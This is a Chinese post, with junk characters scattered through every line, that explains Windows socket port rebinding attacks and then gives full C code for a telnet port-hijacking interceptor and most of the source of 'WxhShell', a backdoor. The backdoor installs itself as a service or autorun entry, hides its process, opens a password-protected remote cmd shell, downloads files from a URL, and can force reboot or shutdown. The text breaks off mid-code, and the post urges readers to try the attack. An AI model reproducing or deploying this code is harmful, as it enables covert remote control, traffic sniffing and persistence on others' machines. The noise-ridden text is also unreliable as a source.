在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
?;=Y1O7N( s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Bjrv;)XH UHDI9>G~, saddr.sin_family = AF_INET;
i(qYyO' C%7 ,#}[U/ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
9/qS*Zdh) uL{~(?U $ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
V<R+A* gY: ~{tZ;YZ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
>Ki]8& {w1h<;MH 这意味着什么?意味着可以进行如下的攻击:
It:QXLi; f0`rJ?us 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
@ %B!$\] sV4tu(~ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
FZI 4?YD?< S5JR`o
3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
ReGb.pf /8-VC" 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
2dlV'U_g 4I[FE;^ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
8t
35j GP
kCgb( 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
h[)aRo Oh85*3 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
?F), 4Q L5P}%1 _ #include
>WS&w;G #include
wk7_(gT`0 #include
FH5 bC6 #include
2A;[Ek6{q DWORD WINAPI ClientThread(LPVOID lpParam);
cg5{o|x int main()
m6ws#%|[ {
'|R@k_nx WORD wVersionRequested;
uM6!RR!~ DWORD ret;
8qLgB
WSADATA wsaData;
_+Kt=;Y8 BOOL val;
>u[1v SOCKADDR_IN saddr;
$%"}N_M SOCKADDR_IN scaddr;
s
!vROJ int err;
wLp
t2b8S SOCKET s;
])l[tVHm SOCKET sc;
zi&d int caddsize;
g#2X'%&+ HANDLE mt;
9<r}s DWORD tid;
#.t{g8W\C wVersionRequested = MAKEWORD( 2, 2 );
Y,"MQFr(o err = WSAStartup( wVersionRequested, &wsaData );
NB#*`|qt if ( err != 0 ) {
2cL)sP} printf("error!WSAStartup failed!\n");
NKh{iSLm return -1;
~"YNG?Rre }
:pu{3-n. saddr.sin_family = AF_INET;
4gNRln- tLXw&hFk`g //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
6OW-Dif^AG ._nKM5. saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
n^)9QQ saddr.sin_port = htons(23);
%4KJ&R
(>[ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
*w,gi.Y3 {
T1di$8 printf("error!socket failed!\n");
PGhZ`nl return -1;
!27]1%Aw }
ll09j Ef val = TRUE;
9>>}-;$ //SO_REUSEADDR选项就是可以实现端口重绑定的
~J{{n_G{ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
H?^#zj`Ex+ {
<|G~S<y} printf("error!setsockopt failed!\n");
Ax*~[$$~% return -1;
9o'6es..@Z }
A:J{ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
4N0nU //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
<5}du9 @ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
e>Y2q|S85 ?0%TE\I8 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
0l@+xS; {
lM%fgyX ret=GetLastError();
}]?G"f
t K printf("error!bind failed!\n");
gQDK?aQX return -1;
)fL*Ws6 }
1*CWHs listen(s,2);
nGd while(1)
{f3fc8(p {
dw!Eao47 caddsize = sizeof(scaddr);
lhj2u]yU0S //接受连接请求
gI3rF= sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
OFbg]{ub? if(sc!=INVALID_SOCKET)
9?c ^~77 {
5/ju
it mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
,e_# if(mt==NULL)
2:F {
"?,6{\y, printf("Thread Creat Failed!\n");
hyoZh Y break;
`{_PSzM }
34:EpZO@ }
0M98y!A 5^ CloseHandle(mt);
NyLnE }
loe>"_`Cq closesocket(s);
lM"7 Z WSACleanup();
R
|% return 0;
d vxEXy }
nHrCSfK DWORD WINAPI ClientThread(LPVOID lpParam)
~]M" {
:L0W"$ SOCKET ss = (SOCKET)lpParam;
59]9-1" + SOCKET sc;
[1GEe unsigned char buf[4096];
@NE#P&f SOCKADDR_IN saddr;
fC|u long num;
~Xw?>& DWORD val;
D|:sSld @ DWORD ret;
.Tv(1HAc2l //如果是隐藏端口应用的话,可以在此处加一些判断
9#6/c //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
#Q7$I.O] saddr.sin_family = AF_INET;
V5r7eC saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
6Qu*' saddr.sin_port = htons(23);
FM[To if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Yk?q7xuT {
G'f"w5%qZv printf("error!socket failed!\n");
$SR]7GZ return -1;
N2e<Y_T }
]S geZ07 val = 100;
>6+K"J-@ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
8l0
(6x$ {
X+8p2xSO| ret = GetLastError();
BB$>h-M/%# return -1;
}}1Q<puM }
V}-o):dI| if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
-~fI|A ^ {
~\,6C1M ret = GetLastError();
]'/]j return -1;
T_T{c+,Zd$ }
-+_twU if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
.?RjH6W {
*,
K
\A printf("error!socket connect failed!\n");
t7FQ.E,T closesocket(sc);
&J:)*EjVl5 closesocket(ss);
MNC!3d(D\R return -1;
EZBzQ"" }
C<XDQ>? while(1)
Ao$z)<d' {
DA~ELje^j //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
Q;nr=f7Ys //如果是嗅探内容的话,可以再此处进行内容分析和记录
yw!`1#3. //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
qV,j)b3M num = recv(ss,buf,4096,0);
NhX.yLb$ if(num>0)
A!yLwkc:5 send(sc,buf,num,0);
s#ZH.z@J else if(num==0)
IOl"Xgn5 break;
?F{xDfqw num = recv(sc,buf,4096,0);
'O9=*L)X if(num>0)
{m:R v&T send(ss,buf,num,0);
Mk?I} else if(num==0)
Lm#d.AD)
break;
F-0PmO~3+W }
or`stBx closesocket(ss);
|'_<(z closesocket(sc);
[{$0E=&0 return 0 ;
|pSoBA9U }
!@k@7~i MDt?7c BxYA[#fd} ==========================================================
Xm'K6JH' tb3fz")UC 下边附上一个代码,,WXhSHELL
d.oFlT Ypj)6d ==========================================================
,$$$_+m\ }4%)m #include "stdafx.h"
!H\GHA'DO] .+h
pxZ #include <stdio.h>
[zEP| #include <string.h>
.
*xq = #include <windows.h>
ped Yf{T #include <winsock2.h>
"\?G #include <winsvc.h>
y: [] + #include <urlmon.h>
WPKTX,k F@roQQu #pragma comment (lib, "Ws2_32.lib")
Nj&%xe>]. #pragma comment (lib, "urlmon.lib")
[qMdOY%jx ?4Juw? #define MAX_USER 100 // 最大客户端连接数
2_b'mepV #define BUF_SOCK 200 // sock buffer
%v:h]TA #define KEY_BUFF 255 // 输入 buffer
K/m)f# u@u.N2H.% #define REBOOT 0 // 重启
FD+PD:cQn #define SHUTDOWN 1 // 关机
TFDCo_>o }h h^U^ia #define DEF_PORT 5000 // 监听端口
wNhR(M7 rss.F3dK #define REG_LEN 16 // 注册表键长度
w*}yw"gP*0 #define SVC_LEN 80 // NT服务名长度
dU^<7 K:S ATp 6- // 从dll定义API
4 xzJql typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
-8 =u{n typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
q'@Ei4 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
eE`1;13; typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
$:
m87cR~ :";D.{|| // wxhshell配置信息
!H=k7s struct WSCFG {
#ic 2ofI int ws_port; // 监听端口
g~:(EO(w char ws_passstr[REG_LEN]; // 口令
e4%*I8
^e int ws_autoins; // 安装标记, 1=yes 0=no
e`M]ZGrr char ws_regname[REG_LEN]; // 注册表键名
UZXcKl>u char ws_svcname[REG_LEN]; // 服务名
8'WMspX char ws_svcdisp[SVC_LEN]; // 服务显示名
f<altz_\q char ws_svcdesc[SVC_LEN]; // 服务描述信息
ai
_fN char ws_passmsg[SVC_LEN]; // 密码输入提示信息
k&iScMgCTH int ws_downexe; // 下载执行标记, 1=yes 0=no
4{WV char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
U]U)' char ws_filenam[SVC_LEN]; // 下载后保存的文件名
L^{;jgd&T9 7 P^{*! };
mKQST ]5 fB,1s}3Hn // default Wxhshell configuration
:_,]?n struct WSCFG wscfg={DEF_PORT,
"u8o?8+q~ "xuhuanlingzhe",
G,|]a#w&v. 1,
EZumJ." "Wxhshell",
;=\5$J9 "Wxhshell",
pQ^,. [[ "WxhShell Service",
uPC qO+f "Wrsky Windows CmdShell Service",
R:BBNzY}f "Please Input Your Password: ",
tDHHQ 1,
39aCwhh7v "
http://www.wrsky.com/wxhshell.exe",
C2=iZ`Z>T "Wxhshell.exe"
/uXRZ };
Y\Qxdq bZay/ Zkj // 消息定义模块
v&b.Q:h*' char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
VFmg"^k5 char *msg_ws_prompt="\n\r? for help\n\r#>";
2*q:
^ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
3 [)s;e char *msg_ws_ext="\n\rExit.";
K&IrTA
j} char *msg_ws_end="\n\rQuit.";
jw(>@SXz char *msg_ws_boot="\n\rReboot...";
Xm=^\K3 char *msg_ws_poff="\n\rShutdown...";
ngY+Ym char *msg_ws_down="\n\rSave to ";
&*]{"^ ?}3PJVy? char *msg_ws_err="\n\rErr!";
m{$tO;c/Q char *msg_ws_ok="\n\rOK!";
%3c| :&0yf;>v char ExeFile[MAX_PATH];
:{i$2\DH6 int nUser = 0;
bqQO E4; HANDLE handles[MAX_USER];
^c0$pqZ}r int OsIsNt;
y.*=Ww+ cv*Q]F1% SERVICE_STATUS serviceStatus;
jFNs=D&( SERVICE_STATUS_HANDLE hServiceStatusHandle;
'0_j{ig "^
6lvZP( // 函数声明
*iRm`)zC( int Install(void);
Ce5w0&VlS int Uninstall(void);
hi3sOK*r;< int DownloadFile(char *sURL, SOCKET wsh);
Ns!3- Y int Boot(int flag);
m,gy9$ void HideProc(void);
V)1:LLRW int GetOsVer(void);
yg+IkQDf4U int Wxhshell(SOCKET wsl);
{~p7*j^0 void TalkWithClient(void *cs);
"?eH=! int CmdShell(SOCKET sock);
cR=94i=t int StartFromService(void);
=yTa,PY int StartWxhshell(LPSTR lpCmdLine);
`zzKD2y FSU%?PxO VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
0ve` VOID WINAPI NTServiceHandler( DWORD fdwControl );
( ztim =2nn "YVP // 数据结构和表定义
wsJ%*
eYf SERVICE_TABLE_ENTRY DispatchTable[] =
#mRFUA {
Dz8:;$/ {wscfg.ws_svcname, NTServiceMain},
[UJEU~XC {NULL, NULL}
WE.$a t{*h };
y KYP iIGI=EwZ // 自我安装
$\,BpZ
}3 int Install(void)
W`Q$t56 {
b$goF
}b'g char svExeFile[MAX_PATH];
,u&tB|,W, HKEY key;
QlRoe|{ strcpy(svExeFile,ExeFile);
X<Th{kM2 rWFcIh5 // 如果是win9x系统,修改注册表设为自启动
{7=WU4$ if(!OsIsNt) {
'ybth if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
$W/+nmb)@K RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
1qLl^DW RegCloseKey(key);
~3'RW0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
z#{0;t RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
$h 08Z RegCloseKey(key);
Gin_E&%g return 0;
q[)q|R| }
f8LrDR }
H}sS4[z }
Q&Z4r9+Z else {
XVrm3aj(m so!w !O@@ // 如果是NT以上系统,安装为系统服务
1tc]rC4h SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
h6\3vfj^f if (schSCManager!=0)
C(V[wvL {
~[|V3h4v SC_HANDLE schService = CreateService
L$29L: (
BKC7kDK3H schSCManager,
<?LfOSdMs^ wscfg.ws_svcname,
4fw1_pv_D wscfg.ws_svcdisp,
`dv}a-Q)c SERVICE_ALL_ACCESS,
/ojO>Y[< SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Sa;<B:| SERVICE_AUTO_START,
t;.^K\S4 SERVICE_ERROR_NORMAL,
m"gni # svExeFile,
UCn*UX NULL,
h"%|\o+3 NULL,
yV:EK{E NULL,
%XP_\lu] NULL,
D!bKm[T NULL
GJ1;\:cQq );
d ~{jEg if (schService!=0)
KE/-VjZu {
?$|uT CloseServiceHandle(schService);
W\@?e32 CloseServiceHandle(schSCManager);
.M9d*qp`S strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
aO.\Qe+j strcat(svExeFile,wscfg.ws_svcname);
R^J.?>0 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Q_&}^ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
YgE]d?_h RegCloseKey(key);
4M @oj return 0;
NP K#].F }
V_&GYXx(J }
2;r]gT~ CloseServiceHandle(schSCManager);
qwq/Xcv }
lx\qp`w }
omM&{ }8 g {&2$[g=[ ^ return 1;
p?+lAbe6H }
Sa3I?+ B{7Kzwh; // 自我卸载
1)TK01R8 int Uninstall(void)
x9 &-(kBU {
]\CU9J|H8 HKEY key;
yicO!:bM )Y3EQxXa if(!OsIsNt) {
xGYSi5}z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
EY+/.=$x RegDeleteValue(key,wscfg.ws_regname);
XR*Q|4 RegCloseKey(key);
4$yV%[j if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
TZ?Os4+ RegDeleteValue(key,wscfg.ws_regname);
qqnclqkw& RegCloseKey(key);
hi!L\yi return 0;
*#3*;dya] }
P^ptsZ% }
PX;Vo~6 }
3/X-Cr+d else {
`J72+ RA wgCvD SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
w3^NL(> if (schSCManager!=0)
9YR]+* {
P DRnW SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
T}C2e! _O if (schService!=0)
Dc08D4
{
(+|X<Bl:` if(DeleteService(schService)!=0) {
LmP qLH'(Q CloseServiceHandle(schService);
q5Fs )B CloseServiceHandle(schSCManager);
YiD-F7hf.* return 0;
]JOephX2R }
k*5'L<& CloseServiceHandle(schService);
24#bMt#^ }
!Citzor CloseServiceHandle(schSCManager);
Ls&+XlrX8 }
JkZ50L }
25UYOK}! M'kVL0p?vN return 1;
rkkU"l$v }
led))qd@V- z"tjDP // 从指定url下载文件
j5PL{6 int DownloadFile(char *sURL, SOCKET wsh)
i=YXKe6fD {
Bd{4Ae\_+g HRESULT hr;
]1m"V;vZ char seps[]= "/";
lWW+5 char *token;
CJJD@= char *file;
>ajuk char myURL[MAX_PATH];
*myG"@P4hW char myFILE[MAX_PATH];
a Sf/4\ # kyl?E strcpy(myURL,sURL);
oBr.S_Qe token=strtok(myURL,seps);
}^9]jSq5 while(token!=NULL)
l71gf.4g {
BT]ua]T+ file=token;
0o;O`/x token=strtok(NULL,seps);
'l~6ErBSg }
oh6B3>>+ :-?Ct GetCurrentDirectory(MAX_PATH,myFILE);
Z,K7Ot0 strcat(myFILE, "\\");
(:5G#?6, strcat(myFILE, file);
~3gru>qI& send(wsh,myFILE,strlen(myFILE),0);
Y$g}XN*)E send(wsh,"...",3,0);
`-_N@E1'> hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
!YiuwFt if(hr==S_OK)
98fu>>*G{ return 0;
EeB ]X24 else
4e +~.5r@i return 1;
1"}cdq. Z?oG*G: }
TI=h_%mO QYQtMb, // 系统电源模块
#O~XVuvF0 int Boot(int flag)
SVagT'BB {
2edBQYWd HANDLE hToken;
d t_e TOKEN_PRIVILEGES tkp;
6-B 9na 9XX>A* if(OsIsNt) {
m#f{]+6U
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
z%1{ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
9I`Y-D tkp.PrivilegeCount = 1;
*:_P8G; tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
3NIUW!gr AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
+R6a}d/K if(flag==REBOOT) {
n-o3 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
DdSSd@,x* return 0;
|9Yi7. }
`Gd$:qV else {
!g>.i` if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
]u#JuX return 0;
&.Q8Mi
aT }
I;7nb4]AmF }
1tB[_ $s else {
BByCMY if(flag==REBOOT) {
.R5y:O if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
99=s4*xzM return 0;
2 -Xdoxw }
wvMW| else {
cu&,J#r% if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
zP!J/}z return 0;
>O7~h[FN }
p@YB?#Im }
Zj*\"Ol PWB(5 f? return 1;
7\XE,;4> }
9b;A1gu "w_N'-}# // win9x进程隐藏模块
-"Q-H/qh void HideProc(void)
9 [jTs3l: {
5,pSg %zeATM[` HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
C`V)VJM if ( hKernel != NULL )
_q?<at}y {
3= -pG pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
C+{l7QT$t ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
'9?;"=6( FreeLibrary(hKernel);
EE=3 }
ZH ,4oF w$|l{VI return;
dQb.BOI)h }
N]N4^A' Nt:9 MG>1 // 获取操作系统版本
@}s$]i$|- int GetOsVer(void)
6rN(_Oi- {
B[5r|d' OSVERSIONINFO winfo;
xJZ@DR,# winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
X|DO~{-au GetVersionEx(&winfo);
x9W(cKB'S if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
/mM2M- return 1;
O
5Nb else
}(XdB:C8 return 0;
kJQ#Wz|z] }
q<#>HjC vuQ%dDxI // 客户端句柄模块
-e u]:4 int Wxhshell(SOCKET wsl)
\5)h tL1F {
:_kAl? eJ SOCKET wsh;
]i*](UQ struct sockaddr_in client;
,`A?!.K$ DWORD myID;
"
=]
-%B QK`i%TXJ while(nUser<MAX_USER)
P
u0uKE {
LjB;;&VCn int nSize=sizeof(client);
,TJD$^ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
;z~n.0' if(wsh==INVALID_SOCKET) return 1;
>q~l21dUi ,Gk}"w handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
mTNVU@TY= if(handles[nUser]==0)
2[fN\e{ closesocket(wsh);
MZJ]Dwt] else
&w8)* T nUser++;
clw%B }
'R<&d}@P*# WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
9@ 16w q.4A(, return 0;
x35cW7R}T_ }
LPYbHo3fq E\nv~Y?SG // 关闭 socket
X>YsQrK(ig void CloseIt(SOCKET wsh)
6$fYt&1 {
&k7;DO closesocket(wsh);
J[~5U~F nUser--;
] b9-k ExitThread(0);
aVL=K }
z+ a%5J !2UOC P // 客户端请求句柄
3bZIYF2@ void TalkWithClient(void *cs)
ORXm&z) {
!HeSOzN ^u}L;`L SOCKET wsh=(SOCKET)cs;
7R#+Le) char pwd[SVC_LEN];
*+'2?* char cmd[KEY_BUFF];
(+<1*5BEkT char chr[1];
E37<"(; int i,j;
@+F4YJmB?l S [h];eM while (nUser < MAX_USER) {
%ek'~ Eodn/ if(wscfg.ws_passstr) {
sVk$x:k1M if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
54-#QIx| //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Uo12gIX //ZeroMemory(pwd,KEY_BUFF);
<GHYt#GIZ+ i=0;
[[d(jV=* while(i<SVC_LEN) {
~_IHaw$hg RB* J= // 设置超时
/2EHv.e` fd_set FdRead;
1i:|3PA~ struct timeval TimeOut;
%CUGm$nH FD_ZERO(&FdRead);
Uy
? FD_SET(wsh,&FdRead);
;w|b0V6 TimeOut.tv_sec=8;
]lw|pvtd TimeOut.tv_usec=0;
AcI,N~~ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
VvFC -r,=G if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
")O`mXg- VhjM>( if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
joKIrS0y pwd
=chr[0]; Uw,2}yR
if(chr[0]==0xd || chr[0]==0xa) { ~8"8w(CG*I
pwd=0; ;zM*bWh9
break; r<F hY
} R8rfM?"W
i++; \0lnxLA
} *BuUHjTv
mWR4|1(
// 如果是非法用户,关闭 socket oI)GKA_Ng7
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?Kvl!F!`
} ae:zWk'!
}ENR{vz$A
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +dA ,P\
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P =3RLL<l
W^3uEm&l!)
while(1) { 322jR4QGr
E9?phD
ZeroMemory(cmd,KEY_BUFF); r]3'74j:
JpsPNa
// 自动支持客户端 telnet标准 O+}qQNe<
j=0; H$G0`LP0/a
while(j<KEY_BUFF) { Mu'8;9_6
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pdJ/&ufh
cmd[j]=chr[0]; ;nC.fBu
if(chr[0]==0xa || chr[0]==0xd) { ?4H i-
cmd[j]=0; it] E-^2>
break; p!k7C&]E
} b'6-dU%
j++; 5_XV%-wM
} xss`Y,5?
!mWiYpbU+
// 下载文件 x.8TRMk^
if(strstr(cmd,"http://")) { ` PYJ^I0
send(wsh,msg_ws_down,strlen(msg_ws_down),0); f2,jh}4
if(DownloadFile(cmd,wsh)) >pU:Gr
send(wsh,msg_ws_err,strlen(msg_ws_err),0); *@d&5
else % QKZT=}
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #2r}?hP/m
}
/'31w9
else { +w=AJdc
ynA|}X
switch(cmd[0]) { h3dsd
&WNf
M+
// 帮助 hstbz
case '?': { ~T) Q$
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); u,}{I}x_
break; ~ek$C
} 4C}bJzZ
// 安装 +}f9
case 'i': { LM&y@"wfm
if(Install()) ~z" =G5|
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?c0xRO%y
else _`64gS}^
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !"8fdSfg
w
break; gJ2>(k03y
} ^bEc6`eE
// 卸载 n_3O-X(
case 'r': { 2tal
if(Uninstall()) ^pJ!isuqu
send(wsh,msg_ws_err,strlen(msg_ws_err),0); `7/Y@}n
else hWH:wB
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 35tu>^_#V
break; a{{g<<H
} keB&Bjd&
// 显示 wxhshell 所在路径 UQB"v3Z
case 'p': { a33TPoj
char svExeFile[MAX_PATH]; _/wV;h~R
strcpy(svExeFile,"\n\r"); < yC
strcat(svExeFile,ExeFile); u|4$+QiD
send(wsh,svExeFile,strlen(svExeFile),0); SPp#f~%m
break; r\AyN=
y
} ID#I`}h.k
// 重启 765p/**
case 'b': { -?(E_^ng
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); r#xg#u oj
if(Boot(REBOOT)) 0_CN/5F
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6;|n]m\Vd
else { ]O]GeAGC2
closesocket(wsh); ;vt8R=T
ExitThread(0); C+|b1/N-
} T0&f8
break; y#XbJuN/
} }#X8@
// 关机 _x!7}O#k
case 'd': { A^p[52`
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |g=="
if(Boot(SHUTDOWN)) }d<}FJ-,
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ve\X3"p#
else { 1UKg=A-q
closesocket(wsh); F^hBtfz
ExitThread(0); W"Gkq!3u{
} }g4 M2|
break; H<^/Ati,|
} <n(*Xak{a
// 获取shell =2@B&
case 's': { A'2w>8
CmdShell(wsh); a{[x4d,z
closesocket(wsh); Me=CSQqf<
ExitThread(0); Br`IW
break; tO0!5#-VR
} [H=)
// 退出 4q<=K= F
case 'x': { )n ,P"0
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); zA[0mkC?$
CloseIt(wsh); % rxO_
break; H/Llj.-jg
} g&`pgmUX
// 离开 );FJx~b
case 'q': { lGVEpCS}
send(wsh,msg_ws_end,strlen(msg_ws_end),0); L(U"U#QZ
closesocket(wsh); F4K0);
WSACleanup(); 9]e V?yoA8
exit(1); $ aUo aI
break; 48Mpf=f`
} |O"lNUW
} :rg5Kt&
} 7e<c$t#H
p ZZc:\fJ
// 提示信息 _r2J7&
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7^g&)P
} x:QgjK
} ;$z$@@WC
P LueVz
return; e#E2>Bj;
} lEV]4
t_H
9-rNw?7
// shell模块句柄 0=K9`=5d0
int CmdShell(SOCKET sock) rta:f800z
{ hiUD]5Kp
STARTUPINFO si; 0@EwM
ZeroMemory(&si,sizeof(si)); qM.bF&&Go
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %DdJ ^qHI
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; kV38`s>+
PROCESS_INFORMATION ProcessInfo; N2w"R{) j\
char cmdline[]="cmd"; 0C>%LJ8r
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ezMI\r6
return 0; =MvjLh"s
} . Z%{'CC
3K_A<j:
// 自身启动模式 PTEHP
int StartFromService(void) f-%NaTI
{ [w -l?
typedef struct KjQR$-
{ A]DTUdL
DWORD ExitStatus; 0$-xw
DWORD PebBaseAddress; *guoWPA|Ij
DWORD AffinityMask; Lliqj1&
DWORD BasePriority; PP!SK2u"L
ULONG UniqueProcessId; X_7UJ
jFw"
ULONG InheritedFromUniqueProcessId; 3}/&w\$
